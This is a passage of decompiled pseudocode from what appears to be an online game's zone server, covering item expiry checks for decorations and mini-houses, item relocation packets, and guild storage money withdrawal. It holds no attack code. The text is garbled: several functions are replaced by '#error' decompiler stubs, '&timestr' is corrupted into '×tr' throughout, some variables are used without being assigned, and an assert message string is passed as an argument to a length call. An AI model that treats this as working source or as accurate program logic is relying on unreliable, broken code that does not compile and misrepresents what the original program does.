[sp+44h] [bp-30h]@12 int v36; // [sp+70h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 32168); v2 = *((_DWORD *)v1 + 8042); v36 = 0; ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(v2 + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v3 = *(_DWORD *)v1; LOBYTE(v36) = 1; v4 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v3 + 1916))(v1); uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = v4; uii.uii_InvenType = 8; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { do { v5 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); v6 = (void *)v5; v7 = *(_DWORD *)(v5 + 112); v8 = *(_DWORD *)v7; v9 = v5 + 8; v10 = *(_DWORD *)(v5 + 112); iic = v5; v11 = (void *)(*(int (__thiscall **)(int, int))(v8 + 48))(v10, v5 + 8); deltime = v11; if ( v11 ) { if ( !*(_BYTE *)v11 ) { v12 = *(_WORD *)v9; v13 = 0; if ( chargedbuffdatabox.cideb_Total > 0 ) { while ( chargedbuffdatabox.cideb_Array[v13].ce_ItemID != v12 ) { ++v13; if ( v13 >= chargedbuffdatabox.cideb_Total ) goto LABEL_16; } v14 = &chargedbuffdatabox.cideb_Array[v13]; if ( v14 ) { v15 = v14->ce_Data; if ( v15 ) { if ( v15->KeepTime_Hour ) { memcpy((void *)×tr, &stru_81EC6C, sizeof(timestr)); timestr.tm_hour = v15->KeepTime_Hour + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v16 = deltime; v17 = timestr.tm_min; *(_BYTE *)deltime = LOBYTE(timestr.tm_year) - 100; v6 = (void *)iic; *(_DWORD *)v16 = *(_DWORD *)v16 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v17 << 6)) << 6)) << 13); } else { *(_DWORD *)v11 = 1992027391; } v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v19 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v19; v20 = (char *)&namestring + 256 * v19; *(_DWORD *)v20 = *(_DWORD *)v18; *((_DWORD *)v20 + 1) = *(_DWORD *)(v18 + 4); *((_DWORD *)v20 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v20 + 3) = *(_DWORD *)(v18 + 12); LOWORD(v18) = inv.Inven; v20[16] = 0; v21 = v18 & 0x3FF | 0x2000; inv.Inven = v21; v22 = *((_DWORD *)v1 + 14434); inv.Inven = (v21 ^ LOWORD(uii.uii_Iterator->ibi_finger)) & 0x3FF ^ v21; LOWORD(v21) = *((_WORD *)v1 + 28870); (*(void (__stdcall **)(int, void *, void *, ITEM_INVEN *, ITEM_INVEN *))(v22 + 48))( v21, v6, v6, &inv, &inv); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v23 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v23 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v23 + 4) = *((_WORD *)v1 + 28870); *(_DWORD *)(v23 + 10) = *(_DWORD *)v6; *(_DWORD *)(v23 + 14) = *((_DWORD *)v6 + 1); *((_WORD *)v23 + 9) = *((_WORD *)v6 + 4); memcpy(v23 + 20, (char *)v6 + 10, 0x65u); v24 = *(_DWORD *)v7; iic = (int)((char *)v6 + 10); (*(void (__thiscall **)(int, char *))(v24 + 8))(v7, (char *)v6 + 10); v25 = (void *)iic; v26 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v7 + 8))(v7, iic) + 20; v27 = (*(int (__thiscall **)(int, void *))(*(_DWORD *)v7 + 8))(v7, v25); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v27 + 20) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v26); } } } } } } LABEL_16: ; } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ); } --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v36 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DecorationActivCheck"); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004E5A80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck(void *this) { int v1; // esi@1 int v2; // ecx@1 bool v3; // zf@4 unsigned __int16 v4; // ax@4 int v5; // eax@8 int v6; // ebx@8 void *v7; // eax@8 void *v8; // esi@8 CIDEB_Element *v9; // eax@12 void *v10; // eax@13 unsigned __int16 v11; // ax@14 int v12; // ecx@16 int v13; // edi@17 char *v14; // esi@17 int v15; // eax@17 int v16; // eax@17 char v17; // al@17 ZoneBaseSession *v18; // eax@18 char *v19; // [sp+1Eh] [bp-D4h]@2 char complete; // [sp+31h] [bp-C1h]@3 ITEM_INVEN inv; // [sp+32h] [bp-C0h]@3 int v22; // [sp+36h] [bp-BCh]@1 void *deleted; // [sp+3Ah] [bp-B8h]@8 int iic; // [sp+3Eh] [bp-B4h]@8 FunctionEntarance _; // [sp+42h] [bp-B0h]@1 tm timestr; // [sp+46h] [bp-ACh]@16 ItemTotalInformation iti; // [sp+6Ah] [bp-88h]@8 unsigned int cookie; // [sp+DEh] [bp-14h]@23 int v29; // [sp+EEh] [bp-4h]@1 v1 = (int)this; v22 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 89072); v29 = 0; if ( v2 ) { complete = 1; inv.Inven = 12288; do { v3 = (*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v1 + 57736) + 8))(v1 + 57736, &inv) == 0; v4 = inv.Inven; if ( v3 ) { if ( !(inv.Inven & 0x3FF) || *(_DWORD *)(v1 + 4 * (inv.Inven & 0x3FF) + 89072) ) { v5 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v1 + 52828))(v1 + 52828, inv.Inven & 0x3FF); memcpy(&iti, (const void *)v5, 0x6Cu); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v5 + 108); BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v5 + 110); v6 = *(_DWORD *)(v5 + 112); iic = v5; v7 = (void *)(*(int (__thiscall **)(int, SHINE_ITEM_STRUCT *))(*(_DWORD *)v6 + 48))(v6, &iti.iti_itemstruct); v8 = v7; deleted = v7; if ( v7 && !*(_BYTE *)v7 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)(v22 + 57736) + 8))( v22 + 57736, &inv) ) { complete = 0; } else { v9 = ChargedItemEffectDataBox::cideb_GetItemID(&minihousedatabox, iti.iti_itemstruct.itemid); if ( v9 ) { v10 = v9->ce_Data; if ( v10 ) { v11 = *((_WORD *)v10 + 41); if ( v11 ) { memcpy((void *)×tr, &stru_81EC6C, sizeof(timestr)); timestr.tm_hour = v11 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(×tr); v10 = deleted; v12 = timestr.tm_min; *(_BYTE *)deleted = LOBYTE(timestr.tm_year) - 100; *(_DWORD *)v10 = *(_DWORD *)v10 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v12 << 6)) << 6)) << 13); } else { *(_DWORD *)v8 = 1992027391; } v13 = v22; LOWORD(v10) = *(_WORD *)(v22 + 57740); (*(void (__thiscall **)(int, void *, int, ItemTotalInformation *))(*(_DWORD *)(v22 + 57736) + 48))( v22 + 57736, v10, iic, &iti); v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v14 + 1) = *(_WORD *)(v13 + 4); *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 836))(v13); *((_WORD *)v14 + 4) = *(_WORD *)(v13 + 57740); *(_DWORD *)(v14 + 10) = timestr.tm_yday; *(_DWORD *)(v14 + 14) = timestr.tm_isdst; *((_WORD *)v14 + 9) = *(_WORD *)&iti; memcpy(v14 + 20, &iti.iti_registnum.binary.gap0[2], 0x64u); v14[120] = HIBYTE(iti.iti_itemstruct.itemattr.binditem.portal[9].mapid); (*(void (__thiscall **)(int, _BYTE *))(*(_DWORD *)v6 + 8))(v6, &iti.iti_registnum.binary.gap0[2]); v15 = (*(int (__thiscall **)(int, _BYTE *))(*(_DWORD *)v6 + 8))(v6, &iti.iti_registnum.binary.gap0[2]); v16 = (*(int (__thiscall **)(int, _BYTE *, _DWORD, int))(*(_DWORD *)v6 + 8))( v6, &iti.iti_registnum.binary.gap0[2], "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v15 + 20); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, v16 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v17, (const char *)&inv, (int)&inv) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } ++*(_WORD *)(v22 + 57740); } } } } v4 = inv.Inven; v1 = v22; } } else { complete = 0; } inv.Inven ^= (v4 ^ (v4 + 1)) & 0x3FF; } while ( (inv.Inven & 0x3FFu) < 0x23 ); *(_BYTE *)(v1 + 89132) = complete == 0; v29 = -1; v19 = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; } else { v29 = -1; v19 = "ShineObjectClass::ShinePlayer::sp_MiniHouseActivCheck"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v19); __security_check_cookie(cookie); } //----- (004E5DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendBoothSize(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@2 int v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1152))(v1); if ( *((_BYTE *)v1 + 92128) != v2 ) { *((_BYTE *)v1 + 92128) = v2; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28656; v3[2] = *((_BYTE *)v1 + 92128); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize : Packet Too Long", 3); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendBoothSize"); } //----- (004E5EF0) -------------------------------------------------------- #error "4E5EF0: undefined or illegal type '#325' (funcsize=369)" //----- (004E6480) -------------------------------------------------------- #error "4E6480: undefined or illegal type '#325' (funcsize=129)" //----- (004E6660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemReloc(void *ecx0, int a2, int a3) { void *v3; // esi@1 __int16 v4; // dx@1 int v5; // ebx@1 int v6; // edi@7 char *v7; // edi@10 int v8; // eax@11 int v9; // eax@11 char v10; // al@11 ZoneBaseSession *v11; // eax@12 int v12; // edi@13 int v13; // eax@13 int v14; // edi@13 int v15; // eax@13 ItemTotalInformation *v16; // ecx@13 int v17; // eax@14 int v18; // eax@14 int v19; // eax@14 char v20; // al@14 ZoneBaseSession *v21; // eax@15 int v22; // edi@16 int v23; // eax@16 int v24; // eax@17 char *v25; // [sp+18h] [bp-110h]@2 signed int v26; // [sp+18h] [bp-110h]@4 ItemInform_ActionItem *this; // [sp+2Ch] [bp-FCh]@7 DiceTaiSai *v28; // [sp+30h] [bp-F8h]@7 int v29; // [sp+34h] [bp-F4h]@1 char v30; // [sp+38h] [bp-F0h]@13 ItemTotalInformation iti; // [sp+A8h] [bp-80h]@13 unsigned int v32; // [sp+118h] [bp-10h]@24 int v33; // [sp+124h] [bp-4h]@1 v3 = ecx0; v29 = (int)"ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_WORD *)a3 ^ *(_WORD *)(a3 + 2); v5 = a3 + 2; v33 = 0; if ( HIBYTE(v4) & 0xFC ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 578); v25 = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; LABEL_23: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v25); goto LABEL_24; } if ( (*(_WORD *)a3 & 0x3FF) >= (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) ) { v26 = 580; LABEL_21: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, v26); goto LABEL_22; } if ( (*(_WORD *)v5 & 0x3FF) >= (*(int (__thiscall **)(int, char *))(*(_DWORD *)a2 + 4))(a2, (char *)v3 + 91696) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 580); LABEL_22: v25 = "ShineObjectClass::ShinePlayer::sp_SmallItemReloc"; goto LABEL_23; } this = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))a2)(a2, *(_WORD *)a3 & 0x3FF); v6 = (**(int (__thiscall ***)(_DWORD, _DWORD))a2)(a2, *(_WORD *)v5 & 0x3FF); v28 = (DiceTaiSai *)v6; if ( !this || ItemInventoryCell::iic_ItemIdent(this) == -1 ) { v26 = 581; goto LABEL_21; } if ( v6 ) { v7 = gpp.pp_Buffer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v28) == -1 ) { *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v7 = 13352; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v7 + 3) = v8; *((_DWORD *)v7 + 2) = v8; *((_WORD *)v7 + 8) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3) + 4); MoveManager::MoveManager((DiceTaiSai *)this); *(_DWORD *)(v7 + 18) = *(_DWORD *)v9; *(_DWORD *)(v7 + 22) = *(_DWORD *)(v9 + 4); *((_WORD *)v7 + 13) = *(_WORD *)v5; *((_WORD *)v7 + 14) = *(_WORD *)a3; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 30); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ItemRelocationManager::irm_Move : Packet Too Long", 30) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } ItemInform_ActionItem::sii_Export(this, &iti); ItemTotalInformation::iti_clear((ItemTotalInformation *)&v30); v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1916))(v3); v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(int, _DWORD, int, char *, int, int))(*(_DWORD *)v12 + 52))( v12, *(_WORD *)(v13 + 4), a3, &v30, a3, v5); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v16 = &iti; } else { *((_WORD *)v7 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *(_WORD *)v7 = 13355; v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v7 + 3) = v17; *((_DWORD *)v7 + 2) = v17; *((_WORD *)v7 + 8) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3) + 4); *((_WORD *)v7 + 13) = *(_WORD *)v5; MoveManager::MoveManager((DiceTaiSai *)this); *(_DWORD *)(v7 + 18) = *(_DWORD *)v18; *(_DWORD *)(v7 + 22) = *(_DWORD *)(v18 + 4); *((_WORD *)v7 + 18) = *(_WORD *)a3; MoveManager::MoveManager(v28); *((_DWORD *)v7 + 7) = *(_DWORD *)v19; *((_DWORD *)v7 + 8) = *(_DWORD *)(v19 + 4); v20 = ProtocolPacket::pp_SetPacketLen(&gpp, 38); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v20, "ItemRelocationManager::irm_Exchange : Packet Too Long", 38) ) { v21 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v21); } ItemInform_ActionItem::sii_Export(this, (ItemTotalInformation *)&v30); ItemInform_ActionItem::sii_Export((ItemInform_ActionItem *)v28, &iti); v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, int, int))(*(_DWORD *)v22 + 52))( v22, *(_WORD *)(v23 + 4), a3, &iti, a3, v5); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v16 = (ItemTotalInformation *)&v30; } (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, int, int))(*(_DWORD *)v14 + 52))( v14, *(_WORD *)(v15 + 4), v5, v16, v5, a3); v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); ++*(_WORD *)(v24 + 4); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 581); } v33 = -1; FunctionEntarance::_FunctionEntarance((FunctionEntarance *)&v29); LABEL_24: __security_check_cookie(v32); } //----- (004E6A80) -------------------------------------------------------- #error "4E6A80: undefined or illegal type '#325' (funcsize=229)" //----- (004E6DD0) -------------------------------------------------------- #error "4E6DD0: undefined or illegal type '#434' (funcsize=883)" //----- (004E7A20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@7 unsigned __int16 *v8; // ST0C_4@8 unsigned int v9; // eax@8 GuildStorage::GuildStorageElement *v10; // ebp@8 int v11; // eax@11 char v12; // al@21 int v13; // eax@22 int v14; // edi@23 int v15; // eax@23 char *v16; // edi@23 char v17; // al@23 ZoneBaseSession *v18; // eax@24 int v19; // eax@25 char *v20; // [sp-4h] [bp-24h]@6 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S13_1 & 1) == 0; v6 = gpp.pp_Buffer; v22 = 0; *(_WORD *)gpp.pp_Buffer = 12327; if ( v5 ) { _S13_1 |= 1u; cmc_68.cmc_AllowMode = 70; atexit(_E14_11); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_68.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { *((_WORD *)v6 + 5) = 5249; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } goto LABEL_17; } v8 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); v10 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v9, v8); if ( !v10 ) { *((_WORD *)v6 + 5) = 5250; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); LABEL_16: v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return; } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_15: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_16; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1456))(v4) ) { *((_WORD *)v6 + 5) = 5252; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) goto LABEL_10; v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_15; } if ( *(_QWORD *)(netcmd + 2) > GuildStorage::GuildStorageElement::gse_GetMoney(v10) ) *(_QWORD *)(netcmd + 2) = GuildStorage::GuildStorageElement::gse_GetMoney(v10); if ( *(_QWORD *)(netcmd + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v14 + 56))( v14, *(_WORD *)(v15 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13428; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v16 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v16 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); *(_DWORD *)(v16 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v16 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v16 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v19 + 4); } else { *((_WORD *)v6 + 5) = 5251; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } } v22 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (004E7D70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 unsigned __int16 *v4; // ST08_4@1 unsigned int v5; // eax@1 GuildStorage::GuildStorageElement *v6; // eax@1 GuildStorage::GuildStorageElement *v7; // ebx@1 int v8; // eax@3 int v9; // ST04_4@4 DebugLogging *v10; // eax@4 DebugLogging *v11; // eax@4 __int64 v12; // ST1C_8@5 unsigned __int64 v13; // kr00_8@5 char *v14; // eax@5 int v15; // eax@7 char *v16; // eax@8 int v17; // esi@8 int v18; // eax@8 int v19; // eax@9 int v20; // eax@11 char *v21; // [sp-8h] [bp-5Ch]@8 GuildStorage::GuildStorageElement *guildstorage; // [sp+14h] [bp-40h]@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+1Ch] [bp-38h]@8 unsigned int v24; // [sp+44h] [bp-10h]@13 int v25; // [sp+50h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v25 = 0; v4 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v3 + 2004))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); v6 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v5, v4); v7 = v6; guildstorage = v6; if ( *(_WORD *)(withdraw + 16) == 5248 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = *(_WORD *)(withdraw + 6); v10 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = *(_QWORD *)(withdraw + 8); v13 = GuildStorage::GuildStorageElement::gse_GetMoney(v7) - v12; GuildStorage::GuildStorageElement::gse_SetMoney(guildstorage, v12); v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12327; *(_DWORD *)(v14 + 2) = *(_DWORD *)(withdraw + 8); *(_DWORD *)(v14 + 6) = 